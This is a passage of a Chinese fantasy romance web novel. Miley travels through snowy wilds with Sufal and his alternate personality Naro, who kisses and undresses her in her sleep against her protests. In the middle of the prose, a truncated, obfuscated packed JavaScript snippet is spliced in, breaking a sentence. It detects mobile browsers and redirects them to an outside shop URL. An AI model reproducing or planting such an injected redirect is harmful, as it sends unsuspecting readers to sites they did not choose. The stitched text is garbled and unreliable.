咪莉在确定是雪的那刻就已经精神充沛了,她忍不住伸出手去接,欢雀地说:“是啊,这是我第一次看见下雪,真漂亮啊。” 苏法尔的心情也不错,看着越下越密的雪花叹道:“小时候我最讨厌下雪天和下雨天了。” 咪莉奇怪地看向他:“为什么?” 苏法尔笑吟吟地说:“很冷啊。” 很冷很冷。 在没有学会魔法的时候,没有家,只能到处流浪,下雪天会冻坏手和脚,下雨天则会淋坏他搭建的纸箱窝。 苏法尔嘴角噙着淡淡笑意,安静地望着前方,咪莉有些怜惜地说:“是啊,你小时候没有人照顾,肯定缺衣服和热水,真是难以想象,你会长得这么好。” “这么好?”苏法尔微微偏头注视着咪莉的脸,她的脸白莹莹的,又透着一层淡淡的嫩粉,就像漂亮柔嫩的花瓣一样清丽,一颤一颤的睫毛上挂上了一片小小的白色雪花。 咪莉伸手揉了揉眼睫上的冰凉,嘟嘟囔囔地说:“你可别误会我的意思,说你长得好仅仅是说你的实力,你的性格可是长得非常的烂呢。” 咪莉还冲他哼了一声:“你就是个虚伪的大坏蛋。” 大家伙儿怕雪越来越大,难以行动,已经准备停下来就地扎营休息,这边这俩人还在旁若无人地悠闲拌嘴。 苏法尔微微紧了紧自己放在咪莉腰上的胳膊,凑过去追问鼓起脸颊生气的咪莉:“我哪里虚伪?” 咪莉鄙夷地斜眼睨他:“还用我说吗?你自己回想一遍对我做过的所有事,真是狡诈的恶徒。” 咪莉拿开他的手,利落地跳下马,凶狠地瞪向马上的苏法尔:“快点下来搭帐篷。” 苏法尔的脸上浮现出一抹无奈的笑意,下马后把马牵去桩子前系好绳索,在平板车上拿出他和咪莉的那只帐篷。 为了避免被雪淋湿内账软铺,苏法尔先支撑起了帐篷骨架,咪莉帮他一起固定着,然后进去铺上防水布和两层厚厚的绒毯。 整理好后,咪莉钻进帐篷里哈着手,从旁边的背包里拿出一张地图来准备看,苏法尔从别处端来一碗热酒掀开帘子进来说:“提斯给我的婓桑林曼酒,喝了身子会暖和一些。” 咪莉放下地图,接过来那碗颜色泛着橘红的亮澄酒,还冒着白白的热气,她抿了一口,酒味很浓烈,光是凑到碗边就已经闻到馥郁酒香了。 “好呛喉咙啊。”咪莉喝不惯这种烈性的酒,喝了一口酒被辣得小脸皱成一团,但是又有一点果香的清甜余味留在了舌尖。 苏法尔从咪莉手里接过来酒笑了笑:“你不要多喝,喝一口尝尝味道你就该醉了。” 苏法尔的黑发上闪着白雪的碎芒,发梢湿润了许多,他的指骨也被冻得泛着粉红,咪莉见了后问他:“你怎么不用取暖术?” 现在她和苏法尔两个人的魔法师身份已经暴露,不需要再遮掩了,苏法尔的魔力应该也恢复了才对。 苏法尔喝了一口酒,竖着一条腿坐在那里:“我们对这里的情况不太熟悉,还是低调一些好。” 他默了一瞬,又说:“而且我平常也不怎么用这些,当时在平原上是为了保护你的体温我才用的。” 咪莉愣了愣,回想起来自从认识苏法尔以来,他确实没用过一次这种取暖防雨的光壁,唯一一次也是因为自己。 “为什么?” “我从小习惯了。”苏法尔的语气很轻松,就像在说别人一样,“冷着冷着就不会觉得冷了。” 苏法尔又喝了一口酒,然后朝呆愣的咪莉递了递问道:“还要喝点吗?这会儿外面雪大,不方便做饭,我去给你拿点面包垫垫肚子。” 咪莉接过来酒,呐呐地点了点头,等她想再问什么时,苏法尔已经转身出去了,外面的寒气瞬间从门帘缝隙冲进来,冷得她打了一个哆嗦,低头喝了小小一口热酒。 苏法尔拿回来一些奶酱面包,搭配一些熏肉,两人坐在帐篷里用着这顿不怎么丰盛的晚餐。 苏法尔手里拿着那张路线错综复杂的地图,这是莫加侬墨本大陆的详细地图,上面各个地点坐标繁多密集,他们是从乌利族留下的物资里翻到的,这对他们非常有用。 “我问过提斯,我们现在是在伊斯蛮荒的中部地区。”苏法尔手里拿着一块双层白面包,上面咬了好几口,他用一根手指点着地图上一个小黄点说,“就是这里,等到了约蒂外区我们就和库北族分道走。” 咪莉和苏法尔坐在一起,她正研究着这张眼花缭乱的地图,因为喝了烈酒的缘故,脑袋有点懵懵的,脸上也热乎乎的,但意识还是很清晰,她听到苏法尔的话后疑惑道:“分开?” “嗯,我们去约蒂城。”苏法尔低头看着地图,偶尔咬一口面包吃,“约蒂城有我们需要的东西。” 咪莉更不明白了,他们现在需要什么? 苏法尔见咪莉满脸雾水,嫩生生的脸蛋上是两抹酣红,乌黑的眼睛像水一样湿润,他的嘴角不自觉地翘了个小小的弧度,慢慢解释道:“我们要回埃比优大陆就需要用传送魔法,这种魔法不是简单的小范围移动,而是跨大陆,我必须收集材料才能制作出来。” 咪莉一听这话眼睛马上亮了起来:“原来是这样,那制作传送魔法需要什么材料?那个约蒂城有我们需要的什么?” 苏法尔弯了弯眼睛:“传送魔法分好几种,以我们目前的状况,我选需要三种材料的魔法阵。” 他用一支有手指粗细的黑色短炭笔在那个约蒂城坐标旁边的空地画了一圈:“我们的目标不是约蒂城,而是约蒂城外的暗之森林。” “嗯?” “暗之森林里有一种叫龙脊的树木,它的枝干磨成粉就是其中一种材料。”苏法尔收起地图放到一旁,吃下最后一口面包,细嚼慢咽的,“至于去约蒂城,是去补寄我们的物资,买点新衣服穿。” 咪莉顿感无语:“你还真是爱干净。” 苏法尔没说什么,只是笑了笑,他拿起旁边小桌子上已经放凉的斐桑林曼酒喝了个干净,然后端着桌子放在帐篷门口,爬去后面掀开被子,看样子是准备休息了。 咪莉也觉得头昏脑涨,她第一次喝这种烈酒,早就想睡了,她把果干收好放在小桌子上,也爬回去躺进被窝里了。 咪莉翻了个身,面对着平躺的苏法尔。 苏法尔似乎睡得很快,面容平静如水,长长的睫毛很翘,也很浓,漂亮得不像样子。 很奇怪,明明刚才困得要死,醉意也朦胧,可现在却反而很清醒了,她睡不着,和苏法尔说着话:“喂,第一样是龙脊树的粉末,那第二样材料是什么?” 咪莉眨了眨睫毛,等待着苏法尔的回答,可苏法尔不像平常那样一有动静就会警惕地醒来,他躺在那里安安静静的,侧颜如同婴儿那样柔恬美好,根本不像平时那恶劣欺负她的坏男人。 咪莉推了推他的肩膀:“你怎么睡着了?我还有问题想问呢,第二种材料是什么?还有第三种。” “我们真的能成功回去吗?” “喂,你的眼睫毛怎么这么长?” 嗯……眉窝深邃,鼻子也很挺,嘴唇的形状也很漂亮。 咪莉眨着亮晶晶的眼睛在心里赞叹了一番苏法尔的脸,他睡着的时候真的很赏心悦目。 “苏法尔,你真的睡着了吗?你该不会在装睡吧?” 咪莉又戳了戳苏法尔的脸,见他还是毫无动静,便起身凑过去一点,用手围在唇边,在他耳边悄悄说:“苏法尔,要是我没死在你手里,你成功复活你父亲后,和我离婚行不行?” 咪莉盯着他的脸看了半天,确定苏法尔已经睡过去了,只好长叹一声仰躺在枕头上:“你酒量也不怎么好嘛,一碗就倒。” 咪莉拉了拉被子,终于也慢慢睡去。 只是她做了个噩梦。 她梦见自己被滚烫的火焰吞噬着,她在火海里拼命挣扎,浑身肌肤烧灼得发疼,她呼吸不过来,火舌在她想张口汲取空气时钻进去,火焰像一把锋利的剑刃闯入,刺痛着她的口腔,她被烧得满身是汗,不管她怎么跑,到处都是看不清路的红色火雾,到最后她跑得筋疲力竭,瘫软在灼人的土地上,任由恐怖的火浪再次铺天盖地侵袭向她。 在眼前布满冲天火光时,咪莉陡然从梦魇中惊醒,她的眼前不再是灼痛眼球的烈火,而是一张放大的脸庞。 苏法尔趴在她身上在吻她。 但苏法尔的头发变长了,并且是烈红色。 是纳罗出现了。 认知到这比噩梦还恐怖的一点,咪莉迅速呜呜哇哇地抗拒起来,原来梦里口中的刺痛感是这样来的,纳罗这家伙的吻霸道而强烈,不知道吻了多久,她的整个舌头都是麻木的。 “起开……”咪莉从缝隙里艰难地吐出两个字,揪着纳罗的长发往外拉扯。 纳罗皱着眉哼哼唧唧,松开咪莉红肿的唇舌,明艳的脸蛋上荡漾着浓浓笑意:“醒了?老婆睡得好香呢。” “混蛋!放开我!”咪莉举拳就要朝他砸过去,被纳罗攥住手腕压在枕头上,她这才发现自己的衣衫也早已松落到跟没穿一样,急怒攻心下,一口白牙狠狠咬在纳罗的肩膀上。 纳罗闷哼一声,腾出一只手揉揉她毛茸茸的头顶:“好了,我不欺负你了。” 他说完后咪莉就松开了牙齿,眼里满是怒火地瞪着他。 他好笑地起来瘫在一旁,红发在白色的帐篷内耀眼绚烂:“你看,我说话算话。” 咪莉只觉得纳罗万般可恶,她翻身骑到他腰上乱拳猛打,口中不断怒骂:“混蛋混蛋流氓!你怎么出来了!苏法尔呢?!” 纳罗用一层光壁卸了些咪莉的力气,因此胸膛并不疼,本来正悠闲散漫地享受着咪莉的捶打,听到这话后抓住她的两只手腕,银色的眸子眯起:“苏法尔都告诉你了?” “哼,我知道了,你是苏法尔的第二人格!”咪莉从他大掌中挣扎着,没抽出来手,忽然被坐起来的纳罗逼近,她吓了一跳,往后缩了缩。 纳罗的脸色很是严肃:“不,苏法尔才是第二人格,我是主人格。” 咪莉怔了怔,随即不冷不热地“哦”了一声,然后从他身上爬下来坐到一旁, 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纳罗的声音突然冷了好几个度,力气也大了些:“真的吗?他可不是什么善良的绅士。” 咪莉也是这时忽然想起在那个下着雨的阴森小镇上,苏法尔让娜娜把她掳走,在酒店里忽然发神经地对她做那样的事。 她的脸憋上一层红晕,急得额头冒汗:“苏法尔他就是比你好!他不会这样欺负我!” 纳罗抱着像只泥鳅胡乱扭动的她,银色的眼眸闪烁着锐利的光,比外面的白雪还要寒冷,他低低地笑起来,上身也跟着颤动起来,咪莉有些害怕地不再动弹了,只是静静地喘着气,然后在手心里悄悄释放出一个雷电术。 纳罗的双手感到一阵电流窜过的刺痛,他松开了咪莉。 咪莉三两下就爬到帐篷门口,见纳罗寒着脸要追过来,忙把手里的袜子丢过去,被纳罗一把挥开。 她惊慌失措地尖叫起来,被纳罗拖着双腿拽了回去压在身下,她试图求助外面的人听到动静帮忙,可想到库北人不会魔法,纳罗又是这样一个残忍的魔族血统,便咬紧了唇,瞪着已经蕴出水雾的双眸望着欺上来的纳罗。 纳罗抓住她的两只手腕让她无法释放魔法,他的眼角带着笑意,却让人毛骨悚然:“咪莉变强了许多呢。” 他俯下身时,感受到咪莉颤抖得更加厉害,他把下巴搭在咪莉颈窝,蹭了蹭,又蹭了蹭,浓浓的委屈感:“苏法尔不好,咪莉不可以喜欢他。” 咪莉愣愣地一动不动,显然没预想到这样的状态,这个样子的纳罗她莫名联想到了一只在雪里瑟瑟发抖的大型犬科。 纳罗从咪莉暖暖的颈窝里抬起头,银白的眸子似乎也亮了些,寒意不知在何时散去了,只剩单纯无害的无辜感:“咪莉,你是我老婆啊,我怎么会欺负你呢?我只是想要抱一抱你,亲一亲你而已,再多的,我会等你答应才做的。” 咪莉的眼里仍然是迷惘,她不知道纳罗说的“再多的”具体是指什么,脑子里有些碎片闪过,就在快要拨开云雾见到清晰事物时,忽然觉得腿上有个硬物抵着。 她动了动腿,蹭了蹭,然后不解地问:“这是什么?你睡觉也有带武器的习惯?” 这到底是什么习惯?奥倾哥哥有,纳罗也有?不过纳罗就是苏法尔,她和苏法尔睡在一起的时候,并没有发现苏法尔身上带武器啊。 纳罗看着咪莉,他的表情很平静,眼里却散发着吞噬人的某种情绪:“怎么,苏法尔也带了?” 咪莉摇摇头:“不是他。” 她斟酌了一下,决定还是不跟纳罗说奥倾的存在,这没什么说的必要。 纳罗从咪莉身上起来,坐在一旁,长长的红发顺在他的脸颊旁,遮住一些他的表情,咪莉古怪地看着他,又看看他带武器的地方,那里被宽松的白裤子遮盖着,看不出来什么大异常,但可以窥见一点点的尖端形状,像匕首一类的短柄武器。 纳罗看过去时,撞上咪莉的视线,他“呵”了一声,语气有点冷:“喜欢咪莉的人真多,和咪莉睡觉的人也真多,却独独不喜欢和我一起睡。” 纳罗说完这通莫名其妙哀怨的话就拿起旁边的外套出去了,咪莉挠挠头,没想通纳罗忽然冷却的行为,她重新穿袜子穿外套,也跟着出去了。 外面天色已经大亮,再加上下了一夜的雪,满天满地更是一片醒目的苍白,脚下堆积了大约有十厘米左右的厚雪。 咪莉“哇”了一声,她从来没有见过这种壮观雪景,整个世界就像洒满了白糖一样纯洁无瑕,而雪的颜色也为这片灰茫茫的天地增添了一丝光亮。 咪莉满眼欣喜地在雪地里蹦蹦跳跳,一脚一个深坑,正当玩得开心时,念及纳罗不知道这里是什么地方,便追上独自往稀少人群走的纳罗说这里是莫加侬墨本大陆,是她不小心吃了传送魔法果子到这里的。 她又交代了一些伪装身份什么的,想起苏法尔是用莫加侬墨本大陆语和库北人交流的,连忙问纳罗会不会莫加侬墨本大陆语。 纳罗全程都没有搭理咪莉一个字,盘腿坐在雪地里玩着雪,一会儿捏一个小雪人,一会儿捏一只小狗,地上摆满了各种奇形怪状的小动物。 咪莉晃晃他的胳膊:“纳罗,我问你呢,你会莫加侬墨本大陆语吗?” 纳罗抽出自己的胳膊,转过去身,背对着咪莉,一头长长的红发都昭显着主人的冷漠孤傲。 咪莉对这个小孩子心性的男人无语至极,站起来后走到纳罗面前,用脚一个个地踩扁纳罗捏的那些小动物,重重哼着走了。 30.败家男人 纳罗的出现,让咪莉对提斯和菲玛解释不清,她不会这里的语言,伸着手指比比划划了半天,提斯和菲玛都满脸迷茫地看着她,让她挫败不已。 她在心里气得直骂纳罗时,纳罗大摇大摆地揣着手臂过来了,没有什么颜色的双眸仍旧那副不死不活爱答不理的冷漠气息,他的莫加侬墨本大陆语充满慵懒感:“苏法尔有事离开了,我是他的哥哥,代替他照顾我弟妹。” 咪莉听不懂纳罗说什么,见提斯和菲玛的表情放松下来并且笑着和纳罗说话,心里也舒了口气。 等两人走到一旁,咪莉问他:“你怎么和提斯大人解释的?” 纳罗的语气还是有些不情不愿:“我跟他们说,我把苏法尔杀死了,他的老婆也归我了。” 咪莉当场石化,但是联想到提斯和菲玛很正常的表情,就猜到纳罗是在骗她,她阴森森地磨牙:“骗子。” 纳罗挑了挑眉,唇角翘起的弧度比苏法尔要深,苏法尔是深邃的微笑,他则是邪妄的冷笑:“苏法尔比我更会骗人。” 咪莉怔怔地看着他,心底像是触动了什么,有个人影在她脑海中一晃而过,她没有反驳他,只是模棱两可地回答:“或许吧。” 苏法尔会骗人,纳罗也会骗人,甚至于奥倾哥哥也在骗她。 咪莉忽然觉得有点冷,大概是起了一阵风,她转过身离开这里,开始收拾东西。 纳罗跟过来后站在一旁看着咪莉一个人在帐篷里叠被子收绒毯,她的神情带着些失落,低着头一言不发,拿到一张地图的时候便开始看。 纳罗钻进去蹲到她身边,她把地图放到纳罗面前说:“苏法尔昨晚说,我们和库北族走到约蒂城分开,这里到约蒂城距离有一百二十公里左右。” 咪莉看了他一眼,确定他在听后继续说:“顺利的话三天可以到,苏法尔说,约蒂城外的暗之森林有做传送魔法阵的材料,我们去的目的就是那个东西。” 纳罗拿过来那张地图扫了几眼说:“不用三天,不到半天就能到。” 咪莉疑惑地看着他,他眼里蒙上一层笑意,恢复了平时那种黏黏糊糊的气质,凑近到咪莉脸前笑着说:“咪莉忘了吗,我可是半神魔法师,可以瞬移的,就算带个你也不影响。” 咪莉愣了一下:“是啊,我倒忘了这点。” 纳罗放下地图,一只手伸过去揽着咪莉的肩膀,另一只手伸出一根食指,用尖尖的指甲轻轻挠了挠咪莉的脸说:“不要不开心嘛,我理你还不行吗?” 咪莉嫌弃地打掉他的爪子,原来纳罗误会她难过的原因了,不过她没想辩解,把旁边叠好的被子绒毯塞到纳罗怀里说:“把这些放到马车上去,要多干活儿啊。” 纳罗弯着眼睛笑,凑过去在咪莉脸上轻轻亲了一下:“好。”然后搂着那些厚重物品出去了。 恼羞成怒的咪莉出来在地上抓了一把雪朝纳罗的后背丢去。 为了早点取到材料,咪莉和纳罗先一步和库北族告别,临走时菲玛给咪莉装了许多果干,咪莉不好意思地收下了。 他们拒绝了提斯给他们的马车,比起他们,库北族更需要,提斯另外给了纳罗一些银币作为报答,他们身上没有钱,到了约蒂城会需要,这个纳罗没有拒绝。 纳罗背着装有他们衣物和零食的背包带着咪莉几步一瞬移,很快消失在这片白茫茫的雪原上。 如纳罗所说,他们只用了不到两个小时便来到了约蒂城。 约蒂城是一座由石块堆砌而成的城市,里面的住宅商店也几乎都是各色各式的石块建筑。 这里的街道很宽敞,条条大道干净整洁,纳罗找了一家酒店办理了入住,咪莉刚进房间就先往浴室里跑。 不到十秒钟她又跑出来,满脸的欢喜:“我要先洗澡!” 纳罗正往椅子上放背包,听见这话后眼里闪过一抹光:“要不要一起洗?节省时间。” 咪莉横下脸:“不要!” 纳罗撇撇嘴,灰心丧气:“好吧,那你慢慢洗,我让服务员送些吃的上来,下午去暗之森林。” 咪莉放了一大缸的热水,在里头舒舒服服地泡着澡,完全不想出来,但回家的事更重要,她抓紧时间洗完澡出来,穿着浴袍趴在软乎乎的床铺上,就连旁边放的食物都懒得吃。 纳罗已经脱了上衣,咪莉刚出来不久他就也去洗澡了,看样子也是很嫌弃满身灰土的自己。 咪莉从床上坐起来拿起床头的牛奶咕咚咕咚灌了自己半杯,然后仰躺在枕头上,两只手交叠着放在小腹上对着指头,时不时地一点一点。 她在想,照这个速度下去,说不定马上就可以回家了,不知道现在家里的情况怎么样了,书店还有没有开张,她妈妈现在应该已经收到自己还活着的信件了,这是个好事,希望妈妈不会伤心。 还有回去后会再遇到他吗?他说要血祭自己,那么就一定不会善罢甘休,他可是欺骗了她三年,这样久的耐心,怎么可能轻易放弃。 咪莉翻了个身,手指轻轻扣着枕头上的绒面,只要一想到那个人,她的心里就会觉得沉闷,似有万千情绪堵在那里。 他是骗子,是个可恶至极的大骗子。 咪莉从身下掀开被子盖住自己,把头也蒙了起来,无数的泪水没有任何预兆地就这样涌了出来,她控制不住,在心里不停地安慰自己没关系,不要紧,也无法压下胸腔里积蓄已久的难过,那是一种死寂的悲哀,粘附在血液里逸散不开。 虽然哭得很厉害,但在听到浴室门锁咔哒一下开启的声音时,咪莉就停止了抽泣,佯装刚睡醒一般“唔”了一声:“你洗好了?” 她的声音听起来很奇怪,像堵了一团棉絮闷涩,纳罗眯着眼走到床边坐下,懒洋洋地斜压下身子,一只手臂撑在咪莉的另一侧,看着蒙着脑袋的咪莉问:“困了吗?那今天好好休息,我们明天再去暗之森林。” 咪莉在被子里动了动,虽然身体是有些累,但想尽早回家的话,还是早点动身比较好,以免生出其他意外。 她把脑袋露出来,低着脸掀开被子要下床,长长的头发遮着她的半边脸:“没关系,我们现在就出发吧,我先换衣服。” 她强压的哽咽很明显,纳罗当然听得出来,他把咪莉按回去,什么也没问地给她盖被子:“可是我困呢,我要好好睡一觉才出发。” 咪莉本来觉得这个作风行事诡异残忍的红毛版苏法尔也会有善解人意的一面,但她刚安安稳稳地躺下去没多久,躺在另一侧的纳罗就摸了过来,一只手臂紧紧搂着她的腰,慵懒独特的声调就响在她的耳畔:“咪莉刚才哭什么呢?眼睛都肿了。” 咪莉的心瞬间提到嗓子眼,这就是先把猎物骗到陷阱里再慢慢宰杀吗? 她没有精力再去跟这好色混蛋大打出手,她只想休息,于是她摆出一副任人宰割的死鱼模样:“只是想家了。” 纳罗抱紧她的腰,头靠着咪莉的头顶,她的个子很娇小,这个姿势也让他微微躬着上身,他浑身散发着暖暖的味道,咪莉一时间错以为抱着她的是苏法尔。 “还是小孩子呢,这么容易想家。”纳罗笑话她,伸手揉捏着咪莉的小耳垂。 咪莉的耳朵被他弄得痒痒的,但又奇异的舒服,所以她没怎么挣扎,可能哭过一阵后就会犯困,她的确想睡了,她转身背对着纳罗说:“我要睡了,你不要吵我。” 纳罗在她耳边吻了吻:“睡吧,我会让你顺利到家的。” 他的嘴唇总是热乎乎的,吻也是滚烫的,咪莉伸手用手背蹭了蹭被纳罗吻过的耳廓,然后睡去。 纳罗却不高兴了,又过来吻了一下咪莉的耳朵说:“让我抱着你睡嘛,苏法尔抱你睡你都很乖呢。” 咪莉又蹭去他的吻,把被子拉高,盖到肩膀处,没有理会他。 纳罗又吻了一下咪莉的脸,等咪莉又蹭去后,他继续吻,两人一来一回地一吻一擦,最后咪莉沉不住气了,翻过身朝纳罗扑过去,在他脖子上狠狠咬下去。 但她并不敢太用力,她不喜欢血腥。 她听到纳罗的呼吸声一滞,带着某种奇怪的氛围,腰上的大手也倏然勒紧了她。 她挪开唇,上面只有一个浅浅的牙印和一圈湿痕,然后往上看去,看着纳罗的眼睛说:“你不疼吗?脖子是很脆弱的地方啊。” 纳罗的银眸里涌现着怪异的光芒,他用长长的指甲轻轻划过咪莉的下唇,指腹停留在咪莉的下巴上,声音轻轻的:“有一点点。” 他的呼吸热乎乎的,带着些淡淡香气,咪莉知道,这是酒店里的玫瑰花牙膏味道,她刚刚也用了,很好闻。 她想从纳罗身上下来,却被紧紧箍着腰,便瞪他一眼:“不跟你闹了,我不困了,我们出去逛逛吧,你说过……” 她一想不对,是苏法尔说要买新衣服,就改口说:“不,苏法尔说他要在这里买衣服,他应该不喜欢身上那套旧衣服。” 这个苏法尔,走到哪里都会把自己打扮得干净利索,还专门拐到约蒂城打算买新衣服穿。 咪莉在心里悄悄吐槽着苏法尔的习惯,但又忽然觉得,会不会是想让她洗个澡呢?野外不比城内,这么冷的天,是没地方给她洗澡的。 纳罗用修长的手指顺着咪莉的头发,表情懒懒的:“他这人是挺爱漂亮的。” “你和他一样爱臭美,快放开我。”停止胡思乱想的咪莉拿着他的爪子往外扒。 他顺势抱着她坐了起来,然后搂着她亲了亲她的额发:“好好好,起来了,老婆也爱美呀,我们很配呢。” 咪莉被他说得起了一身鸡皮疙瘩,她用力推开肉麻某人,从床上下去,在背包里拿出菲玛给她准备的另一套衣服跑去浴室换。 这套衣服不再灰扑扑,是一套颜色发旧的大领口藕粉色长裙,波浪裙边和荷叶袖口缝着一层白色蕾丝,因为不合身,本该展现女性美丽部位的领口设计咪莉根本撑不起来。 咪莉对着镜子里的她叹了一口气,想起了苏法尔在沙漠里时说她那里很平。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115283|145966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 无奈之下咪莉选择换下这套衣服,还是穿那套灰裙子,刚拉下侧腰上的拉链门就被打开了。 纳罗靠在门框上,微微歪头,对镜子里一脸恐慌捂着胸口的咪莉说:“好可爱的形状。” 咪莉大受打击,她气愤地接受了这个不争事实:“你进来干什么?” 纳罗走进来站到咪莉面前,拿开咪莉放在胸口的手,给她拉上拉链说:“无聊走走。” 咪莉低头扒拉他的手:“哎哎,这衣服我穿着不合身,准备换的。” 纳罗像没听到她的话似的,给她拉好以后扶着下巴打量了一番,点头说:“确实不合身,尤其这里,”他用手指戳戳咪莉的胸部右下侧位置,“是空的。” 然后就是嘴角隐忍的笑意。 咪莉先是惊恐地尖叫,然后大怒着朝他乱打,这家伙就是专门进来看她笑话的。 纳罗瞬间退至门外,对气到冒烟的咪莉说:“换下吧,等会儿出去带你买套合身的。” 刚下过一场连夜雪,温度低得可怕,每座房子上都积满一层厚厚的雪,再加上没有太阳,街上的每个人都裹得很厚。 咪莉体内的神力已经和她的身体慢慢融合,这使她的修行涨了一大截,勉勉强强可以用取暖光罩,但因不熟练,无法长久维持光罩,总是用个十分钟就乏了。 纳罗要帮她,她立刻冷下脸跳得更远:“别和我说话。” 纳罗委屈嘟囔道:“你生气的样子真不可爱。” 咪莉无视他,走进一家女装服装店,但刚进来就后悔了,因为钱在纳罗身上。 店面不大,一眼就看完了这里的所有衣服,老板是个黑发女人,穿着一身收腰黑裙,领口和袖子都做了留白设计,衬得老板时尚又大气。 店里还有个金发小女孩,扎着两条长辫子,正趴在沙发上看一本图画书,她眨着蓝汪汪的大眼睛看向进来的纳罗和咪莉,漂亮得就像个瓷娃娃。 “欢迎两位客人。”老板上前热情地招待。 咪莉对老板笑着点了下头,然后开始观察这里的衣服,颜色不多,款式也相仿,基本都是一些小洋裙。 她走到一些比较简洁的衣裙面前,正要拿一件嫩白色的看看,她就被拉开两步,身前搭来一件暖金长裙。 纳罗拿着这套裙子说:“咪莉适合金色,像个小太阳一样暖暖。” 这套裙子的裙摆层层叠叠,紧致的腰身处挂着一条柔顺的蝴蝶结缎带,领口是宽大的方领,右领边缝制着两只精致的一大一小淡红色蝴蝶交叠着双翅。 好看是好看,但她看了眼价格,立刻打消了想试穿的心思,准备说不适合她时,纳罗眨眨亮晶晶的眼睛把她推去换衣间说:“亲爱的去试试,一定很漂亮。” 走到换衣间门口时,咪莉抓住纳罗的手小声说:“这件很贵,几乎会用掉我们身上剩余的钱的。” 纳罗摸了摸咪莉的头发说:“别担心钱的问题,咪莉尽管穿就行。” 见纳罗胸有成竹的泰然模样,咪莉只好点头,换衣服时在想,难道纳罗其实身上携带巨款没告诉她?可这不应该呀,当时在沙漠里苏法尔全身上下破破烂烂,哪有放钱和值钱首饰的地方? 咪莉疑惑不解地换好衣服出来,看见纳罗坐在沙发上和那个金发小女孩聊天,纳罗转过来脸时,她似乎看见纳罗玻璃般的银色瞳孔划过什么光芒,转瞬即逝。 纳罗起身走到咪莉面前,脸上笑盈盈的:“真漂亮。” 咪莉红了红脸,转去镜子面前,也微惊地睁大了眼,她很少穿这种靓色的衣服,及膝裙摆像层层花瓣散开,胸前两朵蝴蝶落的位置恰好,像是轻吻她白皙的肌肤。 这时又有一双月白色的小皮鞋放在她的脚边,纳罗握住她的脚踝让她抬脚:“换上这双鞋搭配。” “这是这鞋……”买裙子就够呛了,哪里还有多余的钱买鞋子。 咪莉心想算了,纳罗这么做一定有他的方法,就抬脚穿了进去。 十分钟后,咪莉一脸生不如死的复杂神色从店里出来。 因为纳罗付完钱后,对她悄悄说:“完了,明天只能睡大街了。” 果然啊,她还是高估纳罗了。 唯一值得庆幸的是,今晚不用睡大街。 天色还很早,咪莉决定现在就抓紧时间去暗之森林找龙脊树,幸运的话今天全部找齐材料明天就能离开这个异大陆。 但纳罗却告诉她:“第二种材料是绿翼仙草,他不知道这种仙草在哪里可以找到。” 咪莉愣了好大一会儿,然后抓着纳罗的肩膀拼命摇:“我们没钱了怎么办,你还把衣服吊牌撕了,退都退不掉,怎么办怎么办!” 纳罗笑笑,握住咪莉两只小拳头说:“钱没了可以赚的,不是什么大事。” “你还笑得出来,是你把钱花没了,你去赚。”咪莉恶狠狠道。 纳罗乖乖点头:“嗯嗯,我赚我赚,走吧。”他拉着咪莉往前走:“去暗之森林找龙脊树。” 31.“你更想谁留下?” 一晃眼的功夫,咪莉和纳罗便来到了暗之森林外围。 暗之森林,满是荆棘的浓墨森林,遮天蔽日的巨大树冠让里面如同黑夜笼罩,咪莉光是站在外面就觉得里面已经有无数只恶魔的眼睛在冒着诡光盯着她了。 “龙脊树长什么样子?”咪莉咽了咽口水,让自己保持淡定的天不怕地不怕模样。 纳罗看了她一眼,抓紧她的手瞬间移动到森林内部说:“你看到它的时候,会一眼就分辨出来的。” 咪莉似懂非懂地眨了眨眼,她的心里有些害怕,手不自觉地回握住纳罗的手。 纳罗有龙族血统,夜能视物,他清楚地看见咪莉正满脸紧张努力睁大眼睛望着黑漆漆的前方。 他拉着咪莉慢慢往前走,空闲的左手凝出一团橘色的火焰举起,照亮了小范围的视野。 咪莉恍然一声:“啊,忘记可以用火探路了。”她弯了弯眼睛,眸子里是微微跳跃的火光,就像是黑夜里燃起的一簇温暖:“你真聪明。” 纳罗忍不住笑说:“是你笨。” 咪莉瞪他一眼,哼了一声。 “好了,慢慢走,小心脚下的树枝。”纳罗收敛了些笑意,拉着她往前走。 咪莉的视野比不得纳罗,她只能看清近处的大概轮廓,她左右张望寻找着那棵看见就能分辨出的龙脊树,随口聊道:“第二种是绿翼仙草,那三种呢?” “第三种不需要找。” “咦?”咪莉侧过头去看他,他的脸庞被火光映衬得泛着莹莹暖泽,弓眉下的一双眼睛更为深邃朦胧,银白色的瞳孔被火染成了浅浅橘色。 纳罗瞬移了一段距离,来到树木更加密集的区域,脚下是湿润的草叶,夹杂着不知名的紫色小野花,他的神情有些专注,嗓音却漫然道:“第三种是龙血,就是我的血喽。” 咪莉大喜,晃了一下两人拉着的手:“那太好了,省去很多时间呢。” 龙族本是稀世一族,要找到可不是轻易的事,尤其这个陌生的大陆,有没有龙族存在都不一定呢,现在现成的龙族就在身边,咪莉乐得眉开眼笑的。 纳罗撅了噘嘴,弯下身子凑近咪莉,眼里浮现出亮晶晶的光芒:“画魔法阵要好多血呢,咪莉不心疼我吗?” “啊?”要好多血吗?这确实有点残忍。 咪莉的笑意淡下去后,又很快一脸朝气,拍拍纳罗的手臂励道:“没关系,纳罗,这是为了我们回家你必须做出的贡献,我会给你买些猪血鹿血补补的。” 纳罗的嘴角顿时拉下去。 咪莉双眸炯炯发亮地拉着闷气横生的纳罗往前走:“等我们顺利回去了,我们就离婚吧。” 忽然,她拉不动那只大手了。 咪莉疑惑地回头:“你不想离婚吗?苏法尔给你娶了个不认识的妻子,你心里一定不乐意吧?” 纳罗靠近她,眯起双眸说:“谁说我不乐意?我可是很保守的,我不会吻我妻子以外的任何一个女人。” 咪莉张口结舌地看着他,他眼里的情绪比他手里的火焰还要炙热,她从来没有见过一个人的眼神似火般烧得浓烈,纳罗和苏法尔明明是同样一张脸,气质却大相径庭,苏法尔的眼神则永远幽邃到深不见底,让人难以捉摸。 